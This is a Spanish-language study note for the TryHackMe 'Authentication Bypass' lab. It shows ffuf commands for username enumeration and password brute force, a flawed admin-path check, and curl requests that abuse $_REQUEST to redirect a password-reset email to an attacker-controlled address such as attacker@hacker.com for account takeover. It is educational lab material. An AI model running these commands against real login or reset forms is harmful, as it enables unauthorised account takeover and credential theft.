> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/pt1-tryhackme/web-hacking/authentication-bypass.md).

# Authentication ByPass

### 🧠 Enumeración y lógica en autenticación web

#### 🔐 Enumeración de usuarios válidos con `ffuf`

Cuando un formulario de registro muestra mensajes de error distintos para usuarios existentes y nuevos, se puede explotar para identificar usuarios válidos.

**🌐 URL de ejemplo**

```
http://MACHINE_IP/customers/signup
```

**🧪 Prueba manual**

* Intenta registrar `admin` como nombre de usuario.
* Si ves el error: `An account with this username already exists`, ¡bingo!
* Significa que el sistema revela si un usuario ya existe.

**🔍 Enumeración automatizada con ffuf**

```bash
ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt \
-X POST \
-d "username=FUZZ&email=x&password=x&cpassword=x" \
-H "Content-Type: application/x-www-form-urlencoded" \
-u http://MACHINE_IP/customers/signup \
-mr "username already exists"
```

**⚙️ Explicación:**

* `-w`: wordlist de usernames.
* `-X POST`: método HTTP POST.
* `-d`: datos del formulario, con `FUZZ` donde ffuf insertará cada valor.
* `-H`: encabezado para indicar tipo de contenido.
* `-u`: URL del formulario.
* `-mr`: match response – busca el texto que confirma la existencia del usuario.

***

#### 🔓 Fuerza bruta de credenciales con `ffuf`

Una vez obtenidos los nombres de usuario válidos, se puede probar una lista de contraseñas comunes.

**🛠️ Comando:**

```bash
ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 \
-X POST \
-d "username=W1&password=W2" \
-H "Content-Type: application/x-www-form-urlencoded" \
-u http://MACHINE_IP/customers/login \
-fc 200
```

**⚙️ Explicación:**

* `W1`: username válido.
* `W2`: contraseña.
* `-fc 200`: filtra respuestas HTTP 200 (fallos). Nos interesan las respuestas que **no** sean 200, ya que indican éxito.

***

### 🧠 ¿Qué es una **Logic Flaw**?

Una **falla lógica** permite evitar o manipular la lógica de autenticación o autorización, sin necesidad de explotar una vulnerabilidad técnica.

#### 🧪 Ejemplo en PHP vulnerable

```php
if( url.substr(0,6) === '/admin') {
    // Validación de permisos
} else {
    // Mostrar página
}
```

**🛑 Falla:**

* Si se accede a `/adMin`, el chequeo se omite.
* La ruta no coincide exactamente, así que se permite el acceso sin validar.

***

### 🔁 Falla lógica en reset de contraseña

#### 🧭 Ruta vulnerable:

```
http://MACHINE_IP/customers/reset
```

#### 🧪 Comportamiento normal:

1. Ingresas un **email válido** (`robert@acmeitsupport.thm`) → se acepta.
2. Luego te pide un **username** asociado → si lo ingresas bien, muestra un mensaje de confirmación.

#### ❓¿Dónde está la falla?

* En el paso 2, el email está en la **URL** (GET), pero luego también lo puedes enviar por **POST**.
* PHP usa `$_REQUEST`, que prioriza los datos **POST** si el campo se repite.

**📌 Entonces:**

Puedes sobreescribir el email de destino en el POST, aunque el original era válido.

***

#### 🧪 Curl Request vulnerable:

```bash
curl 'http://MACHINE_IP/customers/reset?email=robert%40acmeitsupport.thm' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=robert&email=attacker@hacker.com'
```

Este request **cambia el destino del correo** al indicado en el campo `email` del cuerpo POST (gracias a `$_REQUEST`).

***

### 🏁 Explotación práctica

1. **Regístrate** en el sistema de soporte → tendrás un email del estilo:

```
tu_usuario@customer.acmeitsupport.thm
```

2. Usa esa dirección para capturar el correo de reseteo de Robert:

```bash
curl 'http://MACHINE_IP/customers/reset?email=robert@acmeitsupport.thm' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=robert&email=TU_USUARIO@customer.acmeitsupport.thm'
```

3. En tu cuenta, se generará un **ticket con un enlace de acceso como Robert**.
4. Accede a sus tickets y **recupera la flag**.
